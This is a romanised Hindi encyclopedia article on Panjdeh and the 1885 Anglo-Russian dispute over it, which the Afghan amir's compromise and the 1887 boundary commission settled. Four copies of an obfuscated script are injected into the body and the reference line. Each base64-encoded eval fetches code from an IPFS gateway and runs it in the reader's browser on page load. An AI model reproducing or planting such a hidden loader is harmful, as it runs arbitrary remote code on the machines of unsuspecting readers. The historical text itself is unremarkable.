पंजदेह
panjadeh bharat ke p dosi desh afaganistan ki sima par sthit ek gaanv tatha zila. yah marv nagar se 100 mil (lagabhag 160 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ki doori par dakshin mean sthit hai. itihas mean panjadeh apane samarik mahattv ke karan kafi prasiddh tha. ek samay aisa bhi aya, jab is jagah ko lekar roos tatha ianglaind amane-samane a ge aur unamean yuddh ki bhi sambhavana prabal ho gee. yadi ye yuddh hota to nishchit roop se do shaktiyoan ke bich afaganistan hi yuddh ka maidan ban jata aur use bahut nukasan uthana p data, kiantu afaganistan ke amir abdurrahaman ki buddhimani se yuddh tal gaya.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ianglaind-roos yuddh ki ashanka
1884 ee. mean roosiyoan ne marv par adhikar kar liya, jo afaganistan ki sima se 150 mil (lagabhag 240 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ki doori par sthit hai. kuchh aangrez sainik adhikari tatha rajanitijn jhoothamooth panjadeh ko bahut adhik samarik mahattv pradan kar rahe the. at: marv par roos ka adhikar ho jane se ianglaind mean bhari khalabali mach gee. 1885 ee. mean roosi afagan sima ki or aur adhik age badhe aur unhoanne march, 1885 ee. mean afaganoan ko panjadeh se nikal diya. isase ianglaind mean bechaini aur badh gee. aangrezoan ko afaganistan par roosi hamale ka bhay hone laga. at: unhoanne afaganistan ke mitr tatha rakshak hone ka natak karake, kiantu vastav mean afaganistan n hokar bharat ki disha mean age badhane se rokane ke lie, roosiyoan ki is karavaee par gahari narajagi prakat ki aur is bat ki ashanka ki jane lagi ki panjadeh ke prashn ko lekar ianglaind aur roos mean l daee chhi d jayegi.
abdurrahaman ki buddhimata
amir abdurrahaman ki buddhimata se yah l daee tal gee. usane dooradarshita se yah samajh liya tha ki yadi panjadeh ke prashn par ianglaind aur roos ke bich l daee huee to afaganistan yuddhabhoomi ban jayega aur vah is vipatti ko door rakhana chahata tha. usane ghoshana ki ki yah nishchit nahian hai ki panjadeh vastav mean afaganistan ka hissa hai aur yadi panjadeh aur afaganistan ke bich julphikar darre par usaka adhikar man liya jaye to use santosh ho jayega. amir abdurrahaman ke is samajhautaparak ravaiye se british sarakar ko apana ravaiya badalana p da.
sima kamishan
ianglaind aur roos ka sanyukt sima kamishan niyukt kiya gaya. usane jis sima rekha ki sipharish ki, use 1887 ee. mean svikar kar liya gaya. is sima rekha ke anusar panjadeh par roosiyoan ka adhikar aur julphikar darre par afaganistan ka adhikar man liya gaya. is sipharish ke anusar pamir ki disha mean roosiyoan ke badhav par koee rok tok nahian lagayi gee..[1]
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tika tippani aur sandarbh
- ↑ bharatiy itihas kosh |lekhak: sachchidanand bhattachary |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 229 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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